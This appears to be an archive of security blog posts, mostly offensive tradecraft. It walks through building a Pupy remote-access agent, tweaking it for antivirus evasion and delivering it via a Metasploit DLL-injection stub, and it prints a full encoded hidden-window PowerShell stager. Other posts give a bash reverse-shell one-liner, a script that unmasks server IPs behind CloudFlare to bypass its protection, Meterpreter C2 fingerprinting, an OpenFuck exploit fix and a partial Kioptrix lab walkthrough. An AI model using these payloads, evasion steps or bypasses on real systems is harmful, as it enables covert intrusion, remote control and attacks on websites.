Wednesday, November 8, 2017

Pupy as a Metasploit Payload

Introduction

Pupy, written by N1nj4sec, is an open source, cross-platform, modular Remote Administration Tool (RAT) / post exploitation toolkit written in Python. It bundles all dependencies into a single PE or reflective DLL for execution on Windows environments. By utilizing the DLL feature, we can easily plug it into Metasploit as an exploit payload (assuming it supports dllinject as a payload). This allows us to easily shift our agents as Red Teams in order to avoid detection due to reused Indicators of Compromise (IoC)s.

Installing Pupy

We'll go ahead and grab virtualenv, if it isn't already installed. From there we'll initialize all of the submodules, and get ready to recompile the payloads. There are precompiled payloads available, but these are more likely to set off Antivirus. It's generally best practice to compile everything yourself anyways, unless you're going for anti-attribution. Yes, Blue Teams like to write people off as script kiddies too.

Note: Don't underestimate your enemy based on initial analysis.

sudo apt-get install virtualenv libssl-dev python-dev git
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
virtualenv ./
. ./bin/activate
git submodule init
git submodule update
pip install -r pupy/requirements.txt
If you have issues with installing M2Crypto from pip, I'd recommend installing it on your distro and use that copy. Also, remove m2crypto line from pupy/requirements.txt
sudo apt-get install python-m2crypto
ln -s /usr/lib/python2.7/dist-packages/M2Crypto lib/python2.7/site-packages/M2Crypto

Build binaries

As previously discussed, we will compile our own payload template binaries. If this is your first time running the buildenv.sh script, it will take a few minutes to grab all of the mingw packages required for cross-compiling the templates. Many of the shellcode stubs are taken directly from metasploit/meterpreter projects, and will cause AV to flag a lot of the template files. I highly recommend spending 30 minutes or so to tweak the techniques, as it will go a long way towards AV evasion. Unfortunately, there is no master config for network signatures, but all transport modules are written in Python which can be found in pupy/network/transports and are generally easy to modify.

The following commands will populate the templates located in pupy/payload_templates.

# If you don't currently have multiarch, install it now.
sudo dpkg --add-architecture i386 && sudo apt-get update
cd client/sources
./buildenv.sh
./build.sh

Generate Agent DLL

Metasploit currently requires us to generate x86 binaries, so we'll stick with that for generating our pupy dll. This will allow us to use any of Metasploit's dll stubs, or use it directly for throwing exploits. For the sake of demonstration, we will stick to executing a powershell one liner to retrieve and execute the DLL using metasploit's framework.

Generate the pupy agent using the following line. Replace the IP address with your C2 node IP or hostname.

cd ../../pupy
./pupygen.py -O windows -A x86 -f client -S --randomize-hash auto_proxy --transport http --host 192.168.1.138:8080

Start Pupy Listener

We still need to get the metasploit stub ready, but go ahead and start a pupysh session using the same transport and port from above.

./pupysh.py -t http --port 8080

Generate Agent Stub

Start up msfconsole, and generate the stub by using the following commands.

use payload/windows/dllinject/reverse_http
set DLL ~/pupy/pupy/pupyx86.AUbLKU.dll
set LHOST 192.168.1.138
set LPORT 9090
generate -t psh-cmd

If all went well, you should have something similar to the following.

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARwA2AGcAQQAxAG8AQwBBADcAVgBXAGUAMgAvAGEAUwBCAEQALwBPADUASAA2AEgAYQB3AEsAeQBiAGIATwB3AFoARABRADkAQgBJAHAAMAB0AG0AOABiAEkAbwBKAHgARwBCAEMASwBEAG8AdAA5AHQAbwBzAHIAQgArADEAMQA0AEQAcAA5AGIAdgBmAEcATwB3ADIAVgBkAEsANwA5AHEAUwB6AHMATAB3ADcAcgA1ADMANQB6AFcATgB4ADAAOABCAG0ASgBBAHcANABqAE8ANAAxADcAdgBPAGIAOAA3AE0AaABpAHAASABQAEMAWgBWADkAaABDAFcAdQBrAHIAWABXADQAdABrAFoAawBDAHQARQA1AGUANAA0AFkAYQA1AEUAVQBTAHYAMABFAFEAawBXAHQANwBmAE4ATgBJADUAeAB3AEUANwA3AGEAaABjAHoASgBVAG0AdwB2ADYAUQBFAEoANABMAEkALwBjAFYATgBWAHoAagBHAEYALwBmAEwATgBiAFkAWgA5ADUAbQByAC8ARgBuAHQAMABuAEMASgBhAEMARwBXAE4AWgBHADkAdwB0AHkARgBFAGoAZwA1AHIAeAAvAGEASwBIAGUAbABhAGsAYQBVAE0ASQBIAC8AKwBKAEUAWAA1AHgAZgAxAFIAYgBYADkASwBVAFUAMABFAFgAZwB6AFMAeABqADIAcQB3ADYAbAB2AE0AaAA5AEUAZgBNAEQAeAAxAG0ARQBCAGQANABnAGQAaAB3AG0AbwBjAHUAcQBVAHgASgBjAFgAVgBZAG4AUQBZAEoAYwBQAEEAQgByAFcAMgB4AGcAdABnAHEAZABoAEIAYwBoAEIAdgBqAEYAbQBLAFYAeAB3AEUARQAwAHUAZgBxAEoASwBmAEMAdwBIAE0AYQBoAHIAVABoAE8AagBCAE8AUQByAGUAcgBCAE4AdAB4AGcAbwBSAEsAawBsAEUAcgBjAEgAOABLADgATwBQAHMAaABEAFIAagB4AE0AZgBBAFoAagBzAFAASQB4AFAARwBXADIARABpAHAAYQBpAGgAdwBLAEgANwBBADcAawBJAFkANABGADAAWgA4AHMAOABxAEMAYwArAFYAUQBHAHIASQBZAGwARwBDAEYATAB4AHcAMABnAGkAZABsAE8ASwBUAEgAaQArACsAZABEAE4AUABtAGcAaABQAGsAVABpAEkAKwBjAHUAYgA4AHoAZgBuAGIAcABsAGsATAA3AE8AcwA1ADAAbQBHADEAZABuADgAdQBNAGIAZwBtAGoAQQBNAEUAMwBLAFUAdQArAE4AcQBFAG0AZgBBAE0AWQBpAEYAYwBRAGIAYgB5AGoAaABPAHMAYgBqAGcANQBqAG4AZwA4ADgAVwBDAHEANgBSAFoATgBwAEIAKwByAEYAOAB2AGgAVQBIAFUAWgAwAEMAWQBXAHkARgB4AEYAcQBCAFEASgBLAEoAQwByAG4AUABxAGoAOAB1AHAAaABWADAAUwA0AEYAWQBXAEkASgAvAFkAWgBjAFUASQByADgARwBMAFgAWQBxAFAAOABWAFYATABzAFEARQA0AEoAUABBAEYAQQB6AHMAdABUAEwARwBIAFcAQQA2AFoAeABNADEAZgBxAHIAVgA5AHcAcgA3AHEAcQBpAG0AaABEAG8ANABWAEcAMQBLAFUAZwBGAGUAUQBQAGYARgA3AFoAMAA1AFoARQBIAGcAOQBNAEwAQQBQACsASgB6ADIAUABJAEQAdQBRAHAAMwBpAFUAcgBxAG8AegBhAHcAOABQAGQAKwBEAEUATgArAGsASwBFAGsAawBiAHAAaABDAG8AOQBnAFMAWgAyAEoARQBzAFMATgB4AFMAcABDAFEAZwBxAFcAawBMAEQAdwB1ACsAVwAvAHUARwBpAGwAbAB4AEUAWQBKAEsAOAAwAHQAeABCAE8ASwB4AFcAbgBOAE0ARQBoAFkAbgBOAHEAUQBNAEkAaAA4AGIARQBiAFkASgBvAGoAbQBRAEUAaQBjAFIAaAB5AHMAWgBpAGIAeAB5AGwAUAA1AFYAMgBGAG8ASQBrAHAASgA0AEkARwBsAEwAYQBRAEIASwBIAG4ANABKAHMAdgBMAEkAQQBZAEgAagB5AGsAWABxAHkAWgBtAHUAaAA5AFIANwBJAFAATQBzAFYAOAA3AEYASABuAFEAbgBVAFcAVgBIACsAcwBHAGUAZABqAGgAdgAvAGUAdgByAE8ASgBUAHkAZQBZADQAbABBAEEAOAA4AHcANgBTAGEAOQBLAFEAUwBaAHgARgBZAGcAWgBOAG4AMgBQAHEAcwAvADkAMgA5AFAATgBtAHYANgA0ADIAWQAxAHkAawBRAEMAaQA3AFkAcQA1AG0ATABLAC8AbAB5AGcAYgBsAGwAVgBqAGcAYwBZAHcAKwBaAGgAQgA1AEoAdwA1ADkARgBTAFgANAB1AG0ARwB5AEcASABBAFIAMwBzAHIAMwBwAEsAbgBBAE0AOQBNAEQAYQB0AGoAcQBoAHQAUwBWAEgAYQBuAHIAQgByAHcAVABjAHEAVwBIAHIAZgBmAE8AaAA5ADUAYQBrACsAUABXAGYAdQBVAHEAZQBxAEkAYgAyAHIAQQAxADAAcgBUAEcAdABtAGQAYQBEAFcAYQAyAGQAZgBaAGgAcQBEAE8AagAvAGIAaABlAG0ANAByADIATQBKAG0AeABKADEAMwBSAHgAcQBTADIAbQBUAFUATwBVAFkAOABjAHoATAA3AGkAegBQAGIAeQA5AFUARQA5ADcARwByAHEALwByAEQAMgBIAEgAZgBXAGMAbAAzAHYAdgBXAHMAKwAxAE4AOQAxAFMASAAvAGEASABLAG0AMQBTADkAUgB2AHQAZABQACsAVgBOADIAcAB0AFUAYgBTAEoAagB0AHQAUgBDAGEAagBUAGEALwBEAGwAagBPAEwAbwBvAGsAcgBlADQALwAxAEcAMABUADIALwBYAGgAdAAxAGMATwBsAGIAOQBXAFUANwB1AG8ASwBUAGQAOQBGAFYAbgBkAGwATwBOAGwATQBrADIAOABtACsAOAB2ADYAWQBEAHkAQgBGADcAVwBpAEsAVQBhAHUAWABMAGQAZwA3AFEASAB0AGsAbwB5ADAAbgBhAEoAYwA2ADYATQA4ADMASwAyADEAVgB2AHUAVABnADYAZABNAHUAcQB0AEgAOABpAFIAMwA1AFoAdABwAGIAMAA4AEgAbwBhAEwAMAB2AEYAVQBuAHQAKwBHAE0ATABYADgAZABXADIAYgBqAFAAZgBDAG0AeQBJAHYAYwB5AGQASAAyAFUAOQBnAGYAegBXAFoAWQBsAHEAMgBWAHIAZABZADcAUAB0AEgAYgBZAEIAZQAxAHgANwBzAEIAYgBzAG4AMQB5AFUAMgA5AE0AVgAzAHYARwBPAHAATgA1AFIAdgByADAANgBqAHIASwBXADAANABFAE0ARQA3AFUAdABRAHgANgBwAEQATgA1AEwAZABIAHUAZgA0AEUAdABoAHAAQgBZAEYAMQA2AGkAZwA2ADgAMwBHADQANwBRAHIAMwBHADkAbQBpADMAZABwAGcAbABtAG0ATABmAGQAMwBiAGEASQA1ADAAYQBBAC8AZABhAHUANQBKAGwAKwBmAGYAOQAvAFYAaABQAGoAZgBHAHMAMABWACsAMwA0AFcAcwAwAEYATwBYAHUANwBtADEAZQBHADEAQQBjAEYAWAB4ADQAbAB2AFUAZgBqAFcAZwBEAHgAYwBrAEsAVQBhAGcARwBtAEwANQBsADUAMwBYAEMAdQBGAE4ATQAxAEcARgBJAGMAZwAxAEIATwBGADYAZgBHAHgAdwBIAG0ATQBJAEYAQgBGAGQAVQBXAGMASQBLAHAAYQBHAGQAVAAvAFAAagA3AEkAVwBiADUARABUAGYARgA5AEMAQgBFADEAaABlAFgAYgA2ADYARQByAG0AdgBnAHUASwAzAE8AVgArAFMAYgBtACsAZgB3AEUAdABvAGkAdwAyAHEAOQBuAEgAZwBzAFoAVgBVADIAMQAvAFYAYQBqAEMAMABhAC8AdABHAEQAUwBMADgAKwBiAGkAYQBZAFoAUQBKAFkARQBqAEsAUgB6ADYAQQBjAHIASgBLAGoAMQBiAEYAdgBFADAAcQBTAC8AVAAvAEEAbABXADAANQBnAG8AKwB6AHIAOABCADkAWQAzADIARAA5AHkAZgBBAHEAOABtADUAYwBHACsASQBIADUAUAArAEMAVQBrAGYAegBuAHcASwBTAEkATQBKAEUAMgBZAEwAUgBTAGYANwByAFQAWAA0AHkAOQBxADQAdABtAEYAdgAwAFMAUQBjAGIAZAA0ADgAcgA5AGEAOQB5AG0ANwBHAE0AQwAvAGcATAA4AEIAbgBDAG4AbQBUAHQAQQBKAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==

Set up Payload Delivery in Metasploit

Now, we need to setup a multi handler for delivering the DLL payload to the target. After the dll is delivered and executed, check back in your pupy tab for a shell.

use exploit/multi/handler
set payload windows/dllinject/reverse_http
set LHOST 192.168.1.138
set LPORT 9090
exploit

Get Shells

Execute the powershell stub that we generated above on a Windows machine, and enjoy your pupy shell delivered by Metasploit.

Friday, October 6, 2017

Pin Visual Coverage Tool for Binary Ninja

Introduction

I've been getting familiar with Vector 35's Binary Ninja. It's an incredible, affordable, cross-platform static analysis toolkit for binaries. Binary Ninja also has an intuitive Python API, which you will see soon.

Pin is Intel's dynamic binary instrumentation toolkit. It allows you to easily write your own plugins in C++ for dynamically instrumenting code on the fly. I've decided to use this tool in conjunction with Binary Ninja to provide visual code coverage for test cases, or for quickly identifying dead code paths. This has been an over simplification of both Binary Ninja, and Pin. You should check them both out, and see if they are right for you.

I am not an expert in either of these tools, and this has been my first endeavor writing plugins for either of them. As such, if you see something wrong, then please submit a pull request. This whole process has been a learning experience, and I'm always down to sharpen the toolkit.

Install Pin

This was all done on a Linux based system. First, go ahead and download + extract the Pin toolkit. You'll want to place the path where it's been extracted into your $PATH variable.

Example:
$ echo 'export PATH=$PATH:/home/whatever/pin-gcc-tool' >> ~/.bashrc
$ . ~/.bashrc

Inside of the pin directory you will see source/tools. This is where the plugins that are shipped with Pin. You can compile them individually, and play around with their functionality. A typical execution will look like the following, which will execute /bin/ls with the desired instrumentation.

$ pin -t (shared object of plugin) -- /bin/ls 

Go ahead and grab a copy of BasicBlocks from github. BasicBlocks is a pin tool written for this Binary Ninja plugin. It prints the address of each basic block that is executed. We'll import this data later into Binary Ninja, in order to get a visual analysis of code coverage.

$ git clone https://github.com/chokepoint/BasicBlocks.git
$ cd BasicBlocks
$ make
$ pin -t obj-intel64/BasicBlocks.so -- /bin/ls > /tmp/ls.ptrace

Install BN Pin Coverage into Binary Ninja

The plugin directory is generally stored in ~/.binaryninja/plugins on Linux based systems. Go ahead and clone the plugin into that directory.

$ git clone https://github.com/chokepoint/BNPinCoverage.git ~/.binaryninja/plugins/BNPinCoverage

Now, you can fire up Binary Ninja, and two menu items will be added under the Tool menu.

Go ahead and open /bin/ls. If you haven't generated a basic block trace, go ahead and run the pin command shown above. Our next step will be to import it into Binary Ninja.

If the binary is compiled as a Position Independent Executable (PIE), the plugin will attempt to calculate the slide from the initial Basic Block to the program's entry point. This has so far been successful on x86_64 Linux using both tcpdump, and tshark as examples. Below is a screenshot from tshark with PIE enabled, and a Basic Block trace using the pcap testcase that ships with AFL.

References

Tuesday, October 3, 2017

Exposing Server IPs Behind CloudFlare

Introduction

CloudFlare is a complete solution offering Content Deliver Network (CDN) style capabilities along with Web Application Firewalls (WAF). It's also a market leading solution for Distributed Denial of Service (DDoS) mitigation for websites. CloudFlare works by placing its server arrays in front of a website and determines whether or not to allow traffic to pass through. For a more detailed listing of capabilities, please read CloudFlare's own Blog.

In order for the system to remain effective, all traffic must pass through the CloudFlare network. If we are able to directly connect to end systems, we can often bypass the WAF or target specific systems for traffic shaping or DoS attacks.

Existing Techniques

There has been some effort in the past to unmask servers hiding behind CloudFlare. One website in particular maintains a database of IPs that appear to have been exposed. Not all of their techniques are public, and there appears to be a large gap in most of their data.

Many have also used historical DNS records to track previously exposed systems. Forcing a server to send an e-mail for user registration or mailing lists can also expose backend infrastructure. These techniques also create some gaps, and you may only be able to find an IP or two that is still relevant.

Synopsis

When you use CloudFlare to front your website, an SSL/TLS certificate is automatically registered by CloudFlare for your domain. This means that traffic going to your site is initially encrypted when it hits CloudFlare's servers. From there, traffic may very well be in plain text back to your server. Many sites opt to have their own certificates to protect the second half of the transaction.

In order to maintain a trusted certificate, you must prove to some level of degree that you are the owner of a domain. This burden of proof, and trust mechanism makes it easy to associate true server IPs to CloudFlare protected domains. By utilizing large data sets that have been scraped from the Internet, it's possible to find non-CloudFlare servers by associating previously generated certificates with live hosts.

Censys.io

Censys.io is a great resource that relies on data sets from Scans.io. Both are incredible repositories of information that have been gathered by scanning the Internet at regular intervals. There are multiple types of scans from dns and ftp to http/https scans of all public IPv4 space. Censys has graciously offered a public API for researchers to use. We are going to use the scraped certificates from across the Internet to identify potential servers hiding behind CloudFlare.

Cloudsnare

You'll need to utilize your API credentials after registering with Censys. These can be found under My Account. The only Python requirement is censys's maintained PIP package.

pip install censys

Example

./cloudsnare.py zoomit.ir
Certificates:
        Host: *.zoomit.ir zoomit.ir
        Fingerprint: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
Hosts: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
        Found host: 192.95.47.224
        Found host: 94.182.183.50

Examining Top Domains

I downloaded a top million list of domains from Statvoo. From there, I extracted the top 50k domain names, and ran scans to see which domains were using cloudflare. I stopped the scanning once the list was close to 9000 (9038). I then modified the cloudsnare script to add a soft form of rate-limiting. The numbers are not exact, as I did hit a few exceptions here and there in the script, but I was able to observe at least 1842 domains that leak some sort of IP address based on public certificate data. That's right at ~20% of top domains being affected. Note: I did not go through and check every domain for types of systems exposed, or weed out any false positives.

List of domains

Mitigation

CloudFlare has a great blog post about keeping your IP space private. You should restrict inbound traffic to your HTTP/HTTPs ports, and only allow connections from CloudFlare IPs. If you are worried about CloudFlare changing IP space, you can use your host's default domain while registering certificates. For instance in AWS, you might have an issued domain from your service provider similar to ec2-54-78-80-22.us-west-2.compute.amazonaws.com. Traffic will still be encrypted between your host and CloudFlare, but won't expose any of your systems to this technique.

References

Thursday, August 10, 2017

Reverse shell payload helper

Introduction

After bookmarking and constantly referencing the correct format for various types of reverse shell one-liners from Pentstmonkey, I decided to write a quick helper script for generating the correct code along with automatically filling in the IP address. Simply replace the interface variable with the name of the interface you conduct your penetration tests on and spawn your netcat listener.

Example

$ payload.py bash 443
bash -i >& /dev/tcp/192.168.1.5/443 0>&1

Code

Tuesday, April 11, 2017

Hunting Red Team Meterpreter C2 Infrastructure

Introduction

This is part 2 of hunting Red Team C2 Infrastructure. Part 1 covered finding Empire C2 end points. In this post, we will show how to do the same for Meterpreter. There were no immediate crashing bugs found in the Meterpreter HTTP/S handler, but there is still enough information to profile these end points.

Meterpreter

Meterpreter is an advanced C2 infrastructure often used as a payload with the popular Metasploit exploit framework. It's cross-platform and highly extensible. In this post, we will focus on finding the reverse HTTP/S handlers for Meterpreter.

Meterpreter Headers

Using the HTTP request of GET / HTTP/1.0, the following headers were returned.

HTTP/1.1 200 OK
Connection: close
Server: Apache
Content-Length: 44

The thing that stands out here (similar to Empire) is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.0 as the protocol, but the reply is still for HTTP/1.1

Meterpreter default page

<html><body><h1>It works!</h1></body></html>

Hashes of defaul page

MD5: c7b4690c8c46625ef0f328cd7a24a0a3
SHA1: 12179caec26a089cabcbb75c4dbe0bdfe60951f7
SHA2: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb

Finding Meterpreter Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Meterpreter C2 node candidates on the Internet with a simple query.

'Server: Apache' 'It works!' -'Content-Type' 'Length: 44'

You'll notice that the results returned all are HTTP/1.1 with matching profiles that we scoped out above.

Random URLs

Another characteristic that makes Meterpreter listeners easy to identify, is that all requests that aren't to the backend result in the same response. Random URLs will get the same response as grabbing the index. Legitimate servers will typically produce a 404 error.
GET /lkafjdklfjasdklfjalkdjflkajd HTTP/1.0

Changing default values

There's no excuse for leaving your C2 node exposed to the entire Internet. Use whitelisting of IP space in order to keep your tests in scope, and avoid having other people attack your nodes. In order to change the default server and page discussed above, these are all part of the advanced settings.

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 8000
show advanced
set MeterpreterServerName nginx
set HttpUnknownRequestResponse httml_here

Going beyond Shodan

In case there are any questions about the servers found being Meterpreter listeners, the following is a valid URI that will download Stage1 of the Meterpreter session from any given reverse HTTP/S listener.

GET /huO7Mf9GbAoRFBAVSfkxDwLTm3Wcz8n3kuXycv7k4vWV-_dXg3aY1iQy83Cejls15IeYlhUZ0QMT8S1zHKR33-Ga1rVIiV6QNFjXzTgr4lwNq_YR1tqyIbl9ddVzJ8UeYWJ0MJnThtVJ7d46IZnwHYok-XXZJrhqgUaaJMQtmCGCQWFA9tXMVtZtQEaR9Hse2Muw-P5TX4M7LKtm93LLFCT5i1NshdiwcWOnVJq HTTP/1.0

As we discussed in part 1, we can use Scans.io data in order to get a broader search of HTTPS servers. If you still have a copy of the data, you can run a zgrep search like the following to identify possible C2 nodes from this data.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Meterpreter HTML. You can parse this file and extract each IP address that should be tested.

Happy hunting.

Thursday, April 6, 2017

Fixing and troubleshooting OpenFuck Exploit

In a previous post I had went over a walk through for Kioptrix Level 1. I had some issues and wanted to document them for anyone else that may run into those issues. I'll admit that my first problem was getting ahead of myself and trying to compile the source code before doing anything else. Finally googling gave the answer that was right smack dab in front of my face which is looking at the first 8 lines of the source

/*
 * E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/
 *
 * OF version r00t VERY PRIV8 spabam
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 */

Beyond doing what is outlined on paulsec.github.io I had done a dist-upgrade to kali which seemed to have mess with some other settings. On top of installing libssl-dev it appeared I was missing some more ssl libraries and i'll be honest in saying i'm not sure which one it was that fixed my issue but I ended up installing libssl1.0-dev, libssl1.0.2, libssl1.1 as outlined below

root@kali:~# apt-cache search libssl
cl-plus-ssl - Common Lisp interface to OpenSSL
dcmtk - OFFIS DICOM toolkit command line utilities
dlang-openssl - D version of the C headers for openssl
libdcmtk-dev - OFFIS DICOM toolkit development libraries and headers
libdcmtk8 - OFFIS DICOM toolkit runtime libraries
libssl-dev - Secure Sockets Layer toolkit - development files
libssl-doc - Secure Sockets Layer toolkit - development documentation
libssl-ocaml - OCaml bindings for OpenSSL (runtime)
libssl-ocaml-dev - OCaml bindings for OpenSSL
libssl1.0-dev - Secure Sockets Layer toolkit - development files
libssl1.0.2 - Secure Sockets Layer toolkit - shared libraries
libssl1.1 - Secure Sockets Layer toolkit - shared libraries
perl-openssl-defaults - version compatibility baseline for Perl OpenSSL packages
r-cran-openssl - GNU R toolkit for encryption, signatures and certificates based on OpenSSL

The point of this is that you may have some missing libraries and trying to compile the source with these missing libraries doesn't exactly tell you that you're missing it or which ones. So if you are still getting errors when compiling after following what is outlined in paulsec.github.io you may want to try to install those other ssl libraries like I had to.

Kioptrix 1 - Vulnhub Walkthrough - ssl_mod

Introduction

This is the second walk through I’m doing in the series. I’m tackling VM’s that are told to be similar to what’s on the OSCP PWK. Since I’ll be tackling the OSCP again in the future I figure this will be good practice in the meantime.

Kioptrix is a series itself with I believe 5 vulnerable VM’s geared towards beginners and since that’s still what I consider myself I’m going to tackle this whole series.

I had some trouble early on with the initial porting from VMWare vmdk to VirtualBox since that’s what I’m currently using. Porting it over isn’t hard just have to remember from the last time I did it. A quick google turned up the easy information I had forgotten. Also to note my version of VirtualBox defaulted to SSD for the hard drive but Kioptrix wasn’t having that giving me a kernel panic. Changing that to IDE hard drive fixed it. Next issue was getting dhcp to issue a ip address. I have pfsense running for internal network to keep my environment safe and not let anything in or out other than the host OS. For whatever reason Kioptrix didn’t like the intel pro100/1000 virtual chipset so I had to change that PCNet PCI II for it to get dhcp. I assume that has something to do with my version of VirtualBox and how old the kernel on the VM is. Either way I got it working.

Enumeration

As always I start enumerating the ports to see what’s open gathering the headers and versions and OS information. ENUMERATE ALL THE THINGS!

root@kali:~# nmap -sV -Pn -p1-65535 -A 172.16.2.13 --open 

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-02 13:57 CDT
Nmap scan report for 172.16.2.13
Host is up (0.00033s latency).
Not shown: 65529 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          32768/tcp  status
|_  100024  1          32770/udp  status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-04-02T19:56:59+00:00; +59m19s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:AF:56:C9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 59m18s, deviation: 0s, median: 59m18s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC:  (unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms 172.16.2.13

So just the open ports and services seem to give a great deal of information. We see both port 80 and 443 open so lets run nikto and see what it comes up with next.

root@kali:~# nikto -host 172.16.2.13
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.2.13
+ Target Hostname:    172.16.2.13
+ Target Port:        80
+ Start Time:         2017-04-05 21:25:29 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 22:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
